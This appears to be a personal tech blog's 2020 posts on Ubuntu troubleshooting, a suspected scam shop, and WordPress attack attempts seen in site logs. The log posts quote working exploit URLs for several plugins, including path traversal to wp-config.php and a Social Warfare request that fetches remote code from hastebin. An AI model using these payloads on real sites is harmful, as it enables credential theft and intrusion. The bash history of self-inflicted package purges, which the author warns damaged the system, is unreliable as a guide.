Saturday, December 12, 2020

electrixtownshop possible fraud?

 


email comes from jasonterry233@gmail.com

payment goes to  jitendra saini electrizxtown18

https://www.facebook.com/electrixtownshop/ shutdown december 12th 2020

https://electrix-town.myshopify.com/collections/frontpage

ad on facebook 

 jitendra saini .



from: info@formbuilder.hulkapps.com

reply-to: babaairtech17723@gmail.com


Thursday, September 3, 2020

python hell in ubuntu

 


  772  sudo add-apt-repository ppa:deadsnakes/ppa

  773  sudo apt-get update

  774  sudo apt-get install python3.6

  775  sudo update-alternatives --install /usr/bin/python3 python3 /usr/bin/python3.6 1

  776  python

  777  sudo apt-get remove python2.7

  778  python

  779  python3 lss3

  780  ls -l /usr/bin/python

  781  apt-get install python3

  782  sudo apt-get install python3

  783  sudo apt autoremove

  784  python

  785  python 3.8

  786  python3.8

  787  dpkg -l

  788  sudo apt update

  789  dpgk -i apt

  790  apt-get --reinstall install

  791  sudo apt-get --reinstall install

  792  sudo apt reinstall pkg

  793  sudo apt reinstall apt-pkg

  794  sudo apt reinstall apt_pkg

  795  sudo apt update -fix-missing

  796  sudo apt update --fix-missing

  797  sudo dpkg --configure -a

  798  sudo apt update --fix-missing

  799  sudo apt remove deadsnakes/ppa

  800  sudo apt remove deadsnakes

  801  sudo add-apt-repository --remove ppa:deadsnakes/PPA

  802  sudo apt-get install --reinstall python 3-apt

  803  sudo apt-get install --reinstall python3-apt

  804  sudo apt update

  805  sudo dpkg -r --force-depends apt-package

  806  sudo dpkg -r --force-depends apt-pkg

  807  sudo dpkg -r --force-depends apt_pkg

  808  sudo apt install apt_pkg

  809  sudo apt remove --purge python3-apt

  810  sudo apt update

  811  sudo apt upgrade

  812  sudo apt autoremove

  813  sudo apt update

  814  sudo apt install python3-apt

  815  reboot

  816  sudo ubuntu-drivers devices

  817  sudo dpkg-reconfigure

  818  sudo dpkg-reconfigure gnome

  819  ls -lA

  820  chown computer:computer .Xauthority

  821  chown computer:computer .ICEauthority

  822  startx

  823  sudo startx

  824  quit

  825  exit

  826  sudo apt update

  827  sudo nano /usr/bin/gnome-terminal

  828  sudo apt update

  829  sudo apt dist-upgrade

  830  sudo apt remove ppa:deadsnakes

  831  sudo apt remove deadsnakes/ppa

  832  sudo add-apt-repository --remove ppa:deadsnakes

  833  sudo apt --remove ppa:deadsnakes

  834  sudo apt --remove ppa:deadsnakes/ppa

  835  sudo add-apt-repository --remove ppa:deadsnakes/ppa

  836  sudo apt install ppa-purge

  837  sudo ppa-purge ppa:deadsnakes/ppa

  838  sudo apt update

  839  sudo ppa-purge ppa:apt-fast/ppa

  840  sudo apt --remove apt-fast

  841  sudo apt update

  842  reboot

  843  sudo apt-get install --reinstall update-manager synaptic

  844  sudo dpkg ––configure –a

  845  sudo apt-get install –f

  846  sudo dpkg --configure -a

  847  cd /tmp

  848  sudo apt-get download python3

  849  sudo dpkg -i python3*.deb && apt-get dist-upgrade

  850  sudo apt-get update && sudo apt-get upgrade && sudo apt-get autoremove

  851  sudo apt-get install --fix-broken

  852  sudo apt-get purge python* && sudo apt-get autoclean && sudo apt-get install python*

  853  sudo dpkg-reconfigure python2.7*

  854  sudo apt install python3

  855  sudo apt remove python3

  856  sudo apt autoclean

  857  sudo apt autoupdate

  858  sudo apt update

  859  sudo apt-get purge python* && sudo apt-get autoclean && sudo apt-get install python*

  860  sudo apt install software-properties-common

  861  sudo dpkg –configure -a

  862  sudo apt-get install --fix-broken

  863  sudo apt-get --reinstall install python3

  864  sudo apt-get  -f install

  865  sudo dpkg --configure -a

  866  sudo apt install -f --reinstall python3-minimal

  867  apt-get download python3-minimal

  868  sudo dpkg -i *python3*.deb

  869  sudo apt install -f

  870  history > history_for_print.txt

terminal will not open in ubuntu

 

Press ctrl+alt +F2

log into admin 


sudo nano /usr/bin/gnome-terminal

Then, change:


#!/usr/bin/python3

to


#!/usr/bin/python3.6 or 3.8

https://www.maketecheasier.com/fix-ubuntu-cannot-open-terminal/

Problem executing scripts APT::Update::Post-Invoke-Success

 Problem executing scripts APT::Update::Post-Invoke-Success 'if /usr/bin/test -w /var/lib/command-not-found/ -a -e /usr/lib/cnf-update-db; then /usr/lib/cnf-update-db > /dev/null; fi'



sudo apt-get purge libappstream3
Reading package lists... Done
Building dependency tree       
Reading state information... Done
E: Unable to locate package libappstream3
https://itectec.com/ubuntu/ubuntu-e-problem-executing-scripts-apt-updatepost-invoke-success-error-during-apt-get-update/

updating python to the more recent Python versions packaged for Ubuntu

 


DO NOT FOLLOW THE steps below or it will damage your system 

1) cant log into ubuntu

2) error on apt update

3) terminal will not open 


sudo add-apt-repository ppa:deadsnakes/ppa

[sudo] password for xxx: 

 This PPA contains more recent Python versions packaged for Ubuntu.

https://medium.com/@rajputankit22/upgrade-python-2-7-to-3-6-and-3-7-in-ubuntu-97d2727bf911


This does not remove python 2.7 

sudo apt-get remove python2.7

https://howtoinstall.co/en/ubuntu/xenial/python2.7?action=remove

 $ python

bash: /usr/bin/python: No such file or directory


Python3 is not a drop in replacement for python2. You need a python3 version of lss.

ls -l /usr/bin/python

ls: cannot access '/usr/bin/python': No such file or directory

sudo apt-get install python3
python3 is already the newest version (3.8.2-0ubuntu2)

python3.8
Python 3.8.2 (default, Jul 16 2020, 14:00:26) 
[GCC 9.3.0] on linux

 sudo add-apt-repository --remove ppa:apt-fast
Traceback (most recent call last):
  File "/usr/bin/add-apt-repository", line 12, in <module>
    from softwareproperties.SoftwareProperties import SoftwareProperties, shortcut_handler
  File "/usr/lib/python3/dist-packages/softwareproperties/SoftwareProperties.py", line 28, in <module>
    import apt_pkg
ModuleNotFoundError: No module named 'apt_pkg'


apt-get install python-dev 

Disclaimer: there's no guarantee of timely updates in case of security problems or other issues. If you want to use them in a security-or-otherwise-critical environment (say, on a production server), you do so at your own risk.


Update Note

===========

Please use this repository instead of ppa:fkrull/deadsnakes.


Reporting Issues

================


Issues can be reported in the master issue tracker at:

https://github.com/deadsnakes/issues/issues


Supported Ubuntu and Python Versions

====================================


- Ubuntu 16.04 (xenial) Python 2.3 - Python 2.6, Python 3.1 - Python3.4, Python 3.6 - Python3.9

- Ubuntu 18.04 (bionic) Python2.3 - Python 2.6, Python 3.1 - Python 3.5, Python3.7 - Python3.9

- Ubuntu 20.04 (focal) Python3.5 - Python3.7, Python3.9

- Note: Python2.7 (all), Python 3.5 (xenial), Python 3.6 (bionic), Python 3.8 (focal) are not provided by deadsnakes as upstream ubuntu provides those packages.

- Note: for focal, older python versions require libssl1.0.x so they are not currently built


Wednesday, August 19, 2020

Uploadify script vulnerabilities

 

plugins/image-symlinks/uploadify/uploadify.css

19/08/2020 

IP: 192.200.215.91 Hostname: gfpxe.prdhost.com

https://blog.sucuri.net/2012/06/uploadify-uploadify-and-uploadify-the-new-timthumb.html

Sunday, August 2, 2020

Slider Revolution Plugin Critical Vulnerability Being Exploited

http://yoursite.com/wp-admin/admin-ajax.php?action=revslider_show_image&img=..%2Fwp-config.php
02/08/2020 14:17:17 (1 hour 27 mins ago)  
IP: 217.160.65.177 Hostname: 217.160.65.177

Slider Revolution: Local File Inclusion at http://exxx.com/wp-admin/admin-ajax.php?action=revslider_show_image&img=..%2Fwp-config.php
17/08/2020
IP: 212.227.174.175 Hostname: 212.227.174.175

SEPTEMBER 3, 2014

Saturday, August 1, 2020

tor

 sudo apt-get remove tor
Reading package lists... Done
Building dependency tree       
Reading state information... Done
The following packages will be REMOVED:
  tor tor-geoipdb
0 upgraded, 0 newly installed, 2 to remove and 0 not upgraded.
After this operation, 13.2 MB disk space will be freed.
Do you want to continue? [Y/n] y
(Reading database ... 179059 files and directories currently installed.)
Removing tor-geoipdb (0.4.2.7-1) ...
Removing tor (0.4.2.7-1) ...
Processing triggers for man-db (2.9.1-1) ...



This package provides a GeoIP database for Tor, i.e. it maps IPv4 addresses to countries.

Bridge relays (special Tor relays that aren't listed in the main Tor directory) use this information to report which countries they see connections from. These statistics enable the Tor network operators to learn when certain countries start blocking access to bridges.

suricata

sudo apt-get remove suricata
sudo apt-get remove suricata
Reading package lists... Done
Building dependency tree       
Reading state information... Done
The following packages were automatically installed and are no longer required:
  libevent-core-2.1-7 libevent-pthreads-2.1-7 libhiredis0.14 libhtp2 libhyperscan5 libluajit-5.1-2 libluajit-5.1-common liblzma-dev libnet1 libnetfilter-queue1
Use 'sudo apt autoremove' to remove them.
The following packages will be REMOVED:
  suricata
0 upgraded, 0 newly installed, 1 to remove and 0 not upgraded.
After this operation, 6,401 kB disk space will be freed.
Do you want to continue? [Y/n] y
(Reading database ... 179313 files and directories currently installed.)
Removing suricata (5.0.3-0ubuntu0) ...
Processing triggers for man-db (2.9.1-1) ...


suricata -T
1/8/2020 -- 21:07:39 - <Info> - Running suricata under test mode
Error opening file /var/log/suricata//suricata.log
1/8/2020 -- 21:07:39 - <Notice> - This is Suricata version 5.0.3 RELEASE running in SYSTEM mode
1/8/2020 -- 21:07:39 - <Error> - [ERRCODE: SC_ERR_LOGDIR_CONFIG(116)] - The logging directory "/var/log/suricata/" supplied by /etc/suricata//suricata.yaml (default-log-dir) doesn't exist. Shutting down the engine

suricata -h
Suricata 5.0.3
USAGE: suricata [OPTIONS] [BPF FILTER]

-c <path>                            : path to configuration file
-T                                   : test configuration file (use with -c)
-i <dev or ip>                       : run in pcap live mode
-F <bpf filter file>                 : bpf filter file
-r <path>                            : run in pcap file/offline mode
-q <qid[:qid]>                       : run in inline nfqueue mode (use colon to specify a range of queues)
-s <path>                            : path to signature file loaded in addition to suricata.yaml settings (optional)
-S <path>                            : path to signature file loaded exclusively (optional)
-l <dir>                             : default log directory
-D                                   : run as daemon
-k [all|none]                        : force checksum check (all) or disabled it (none)
-V                                   : display Suricata version
-v                                   : be more verbose (use multiple times to increase verbosity)
--list-app-layer-protos              : list supported app layer protocols
--list-keywords[=all|csv|<kword>]    : list keywords implemented by the engine
--list-runmodes                      : list supported runmodes
--runmode <runmode_id>               : specific runmode modification the engine should run.  The argument
                                       supplied should be the id for the runmode obtained by running
                                       --list-runmodes
--engine-analysis                    : print reports on analysis of different sections in the engine and exit.
                                       Please have a look at the conf parameter engine-analysis on what reports
                                       can be printed
--pidfile <file>                     : write pid to this file
--init-errors-fatal                  : enable fatal failure on signature init error
--disable-detection                  : disable detection engine
--dump-config                        : show the running configuration
--build-info                         : display build information
--pcap[=<dev>]                       : run in pcap mode, no value select interfaces from suricata.yaml
--pcap-file-continuous               : when running in pcap mode with a directory, continue checking directory for pcaps until interrupted
--pcap-file-delete                   : when running in replay mode (-r with directory or file), will delete pcap files that have been processed when done
--pcap-buffer-size                   : size of the pcap buffer value from 0 - 2147483647
--af-packet[=<dev>]                  : run in af-packet mode, no value select interfaces from suricata.yaml
--simulate-ips                       : force engine into IPS mode. Useful for QA
--user <user>                        : run suricata as this user after init
--group <group>                      : run suricata as this group after init
--erf-in <path>                      : process an ERF file
--unix-socket[=<file>]               : use unix socket to control suricata work
--set name=value                     : set a configuration value


To run the engine with default configuration on interface eth0 with signature file "signatures.rules", run the command as:

suricata -c suricata.yaml -s signatures.rules -i eth0 

update-rc.d: warning: start and stop actions are no longer supported; falling back to default

Debian and Ubuntu use the service command to control services and update-rc.d for adding and removing services from start up

The "start" and "stop" arguments are deprecated!
Roger Leigh (Debian developer team) announced that in debian-devel, on May 2013:


update-rc.d install and remove System-V style init script links into the boot sequence.. You can still use it with defaults and remove options but it is still for the boot sequence! systemctl start / stop is not in boot sequence

wtf?


service --status-all
 [ + ]  acpid
 [ - ]  alsa-utils
 [ - ]  anacron
 [ + ]  apparmor
 [ + ]  apport
 [ + ]  avahi-daemon
 [ + ]  binfmt-support
 [ - ]  bluetooth
 [ - ]  console-setup.sh
 [ + ]  cron
 [ + ]  cups
 [ + ]  cups-browsed
 [ + ]  dbus
 [ - ]  dns-clean
 [ + ]  gdm3
 [ + ]  grub-common
 [ - ]  hwclock.sh
 [ + ]  irqbalance
 [ + ]  kerneloops
 [ - ]  keyboard-setup.sh
 [ + ]  kmod
 [ + ]  network-manager
 [ - ]  networking
 [ - ]  openvpn
 [ - ]  plymouth
 [ - ]  plymouth-log
 [ - ]  pppd-dns
 [ + ]  procps
 [ - ]  pulseaudio-enable-autospawn
 [ - ]  rsync
 [ + ]  rsyslog
 [ - ]  saned
 [ - ]  speech-dispatcher
 [ - ]  spice-vdagent
 [ + ]  suricata
 [ + ]  tor
 [ + ]  udev
 [ + ]  ufw
 [ + ]  unattended-upgrades
 [ - ]  uuidd
 [ + ]  whoopsie
 [ - ]  x11-common


sudo update-rc.d openvpn disable

The pppd daemon works together with the kernel PPP driver to establish and ... clients, this option allows pppd to supply one or two DNS (Domain Name Server)

The Procps package provides programs to monitor and halt system processes. Procps gathers information about processes via the /proc directory.

Friday, July 31, 2020

wp-support-plus-responsive-ticket-system

https://yoursite.com/wp-content/plugins/wp-support-plus-responsive-ticket-system/includes/admin/downloadAttachment.php?path=..%2F..%2F..%2F..%2F..%2Fwp-config.php

IP: 51.116.189.135 Hostname: 51.116.189.135

WordPress Plugin WP Support Plus Responsive Ticket System 2.0 - Multiple Vulnerabilities


https://yoursite.com/wp-admin/admin-post.php?swp_debug=load_options&swp_url=https%3A%2F%2Fhastebin.com%2Fraw%2Fetonipusij


Exploits in the Wild for WordPress Social Warfare Plugin CVE-2019-9978



https://yoursite.com/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=..%2Fwp-config.php

oEmbed API remote attackers to read arbitrary files

http://yousite.com.com/wp-json/oembed/1.0/embed?url=http%3A%2F%2Fyoursite.com
IP: 52.143.159.22 Hostname: 52.143.159.22

This looks like an attempt to discover usernames via the oEmbed API.

WordPress before 3.5.2 allows remote attackers to read arbitrary files via an oEmbed XML provider response containing an external entity declaration in conjunction with an entity reference, related to an XML External Entity (XXE) issue.

Mutation Testing Framework

http://yoursite.com //laravel/vendor/phpunit/phpunit/phpunit.xsd
 
IP: 51.210.161.21 Hostname: ip21.ip-51-210-161.eu 
Human/Bot: Human


a friends site kept seeing this what is this?

Infection is a PHP mutation testing framework based on AST (Abstract Syntax Tree) mutations. It works as a CLI tool and can be executed from your project’s root.

Mutation testing is a testing methodology that involves modifying a program in small ways and analyzing reactions of the test suite on these modifications. If tests pass after the code is changed, then we have either not covered line of code or the tests are not very efficient for the mutated piece of code.

PHPUnit is a programmer-oriented testing framework for PHP. It is an instance of the xUnit architecture for unit testing frameworks.

grub update on ubuntu

sudo apt upgrade
Reading package lists... Done
Building dependency tree       
Reading state information... Done
Calculating upgrade... Done
The following packages will be upgraded:
  grub-common grub-pc grub-pc-bin grub2-common
4 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 3,540 kB of archives.
After this operation, 0 B of additional disk space will be used.
Do you want to continue? [Y/n] y
Get:1 http://archive.ubuntu.com/ubuntu focal-updates/main amd64 grub-pc amd64 2.04-1ubuntu26.2 [125 kB]
Get:2 http://archive.ubuntu.com/ubuntu focal-updates/main amd64 grub2-common amd64 2.04-1ubuntu26.2 [590 kB]
Get:3 http://archive.ubuntu.com/ubuntu focal-updates/main amd64 grub-pc-bin amd64 2.04-1ubuntu26.2 [971 kB]
Get:4 http://archive.ubuntu.com/ubuntu focal-updates/main amd64 grub-common amd64 2.04-1ubuntu26.2 [1,855 kB]
Fetched 3,540 kB in 3s (1,157 kB/s)      
Preconfiguring packages ...
(Reading database ... 179313 files and directories currently installed.)
Preparing to unpack .../grub-pc_2.04-1ubuntu26.2_amd64.deb ...
Unpacking grub-pc (2.04-1ubuntu26.2) over (2.04-1ubuntu26.1) ...
Preparing to unpack .../grub2-common_2.04-1ubuntu26.2_amd64.deb ...
Unpacking grub2-common (2.04-1ubuntu26.2) over (2.04-1ubuntu26.1) ...
Preparing to unpack .../grub-pc-bin_2.04-1ubuntu26.2_amd64.deb ...
Unpacking grub-pc-bin (2.04-1ubuntu26.2) over (2.04-1ubuntu26.1) ...
Preparing to unpack .../grub-common_2.04-1ubuntu26.2_amd64.deb ...
Unpacking grub-common (2.04-1ubuntu26.2) over (2.04-1ubuntu26.1) ...
Setting up grub-common (2.04-1ubuntu26.2) ...
update-rc.d: warning: start and stop actions are no longer supported; falling ba
ck to defaults
Setting up grub2-common (2.04-1ubuntu26.2) ...
Setting up grub-pc-bin (2.04-1ubuntu26.2) ...
Setting up grub-pc (2.04-1ubuntu26.2) ...
Sourcing file `/etc/default/grub'
Sourcing file `/etc/default/grub.d/init-select.cfg'
Generating grub configuration file ...
Found linux image: /boot/vmlinuz-5.4.0-42-generic
Found initrd image: /boot/initrd.img-5.4.0-42-generic
Found linux image: /boot/vmlinuz-5.4.0-40-generic
Found initrd image: /boot/initrd.img-5.4.0-40-generic
Found memtest86+ image: /memtest86+.elf
Found memtest86+ image: /memtest86+.bin
done
Processing triggers for systemd (245.4-4ubuntu3.2) ...
Processing triggers for man-db (2.9.1-1) ...
Processing triggers for install-info (6.7.0.dfsg.2-5) ...




older command 


sudo apt upgrade

The following package was automatically installed and is no longer required:
  libcdk5nc6
Use 'sudo apt autoremove' to remove it.
The following packages will be upgraded:
  grub-common grub-pc grub-pc-bin grub2-common
4 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 3,541 kB of archives.
After this operation, 6,144 B of additional disk space will be used.

update-rc.d: warning: start and stop actions are no longer supported; falling ba
ck to defaults
Setting up grub2-common (2.04-1ubuntu26.1) ...
Setting up grub-pc-bin (2.04-1ubuntu26.1) ...
Setting up grub-pc (2.04-1ubuntu26.1) ...
Installing for i386-pc platform.
grub-install: warning: this GPT partition label contains no BIOS Boot Partition;
 embedding won't be possible.
grub-install: warning: Embedding is not possible.  GRUB can only be installed in
 this setup by using blocklists.  However, blocklists are UNRELIABLE and their u
se is discouraged..
Installation finished. No error reported.
Sourcing file `/etc/default/grub'
Sourcing file `/etc/default/grub.d/init-select.cfg'
Generating grub configuration file ...



sudo grub-install 
Installing for i386-pc platform.
grub-install: error: install device isn't specified.

Wednesday, April 1, 2020

apport-autoreport.service is a disabled or a static unit, not starting it.

sudo apt upgrade
Reading package lists... Done
Building dependency tree     
Reading state information... Done
Calculating upgrade... Done
The following packages will be upgraded:
  apport apport-gtk python3-apport python3-problem-report



 after the latest update i got

apport-autoreport.service is a disabled or a static unit, not starting it.



Why is apport disabled by default?
Apport is not enabled by default in stable releases, even if it is installed. The automatic crash interception component of apport is disabled by default in stable releases for a number of reasons:
https://wiki.ubuntu.com/Apport

systemctl list-unit-files | grep apport
apport-autoreport.path                                           enabled     
apport-autoreport.service                                        static       
apport-forward@.service                                          static       
apport.service                                                   generated   
apport-forward.socket                                            enabled 


so wtf is wrong???



As of Ubuntu 16.04 systemd apport does not seem to honor its config file
https://askubuntu.com/questions/93457/how-do-i-enable-or-disable-apport



sudo apt-get update
sudo apt-get remove apport
sudo rm /etc/cron.daily/apport

sudo apt-get remove apport
Reading package lists... Done
Building dependency tree       
Reading state information... Done
The following packages were automatically installed and are no longer required:
  apport-symptoms python3-systemd
Use 'sudo apt autoremove' to remove them.
The following packages will be REMOVED:
  apport apport-gtk
0 upgraded, 0 newly installed, 2 to remove and 0 not upgraded.
After this operation, 996 kB disk space will be freed.
Do you want to continue? [Y/n] y
Abort.

 sudo apt autoremove
Reading package lists... Done
Building dependency tree       
Reading state information... Done
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.


Wednesday, January 8, 2020

Widespread surveillance by the deep state in certain countries?

I have been noticing this error on twitter and earlier on facebook 


New login alert
We noticed a login to your account @xxxx from a new device. Was this you?
New login
Device: xxx
Location*: xxxx
When: Wednesday, January xx, 2020 at x:xx PM xxx (3 minutes ago)
*Location is approximate based on the login's IP address.
If this was you
  •  You can ignore this message. There's no need to take any action.
If this wasn't you
  •  Change your password now to protect your account. You'll be logged out of all your active Twitter sessions except the one you're using at this time.


The users seems to still be getting this message even after changing their password . Location shows the correct user location. But the error?

update 4.2.2020

In a statement published today, Twitter disclosed a security incident during which third-parties exploited the company's official API (Application Programming Interface) to match phone numbers with Twitter usernames.
https://www.zdnet.com/article/twitter-says-an-attacker-used-its-api-to-match-usernames-to-phone-numbers/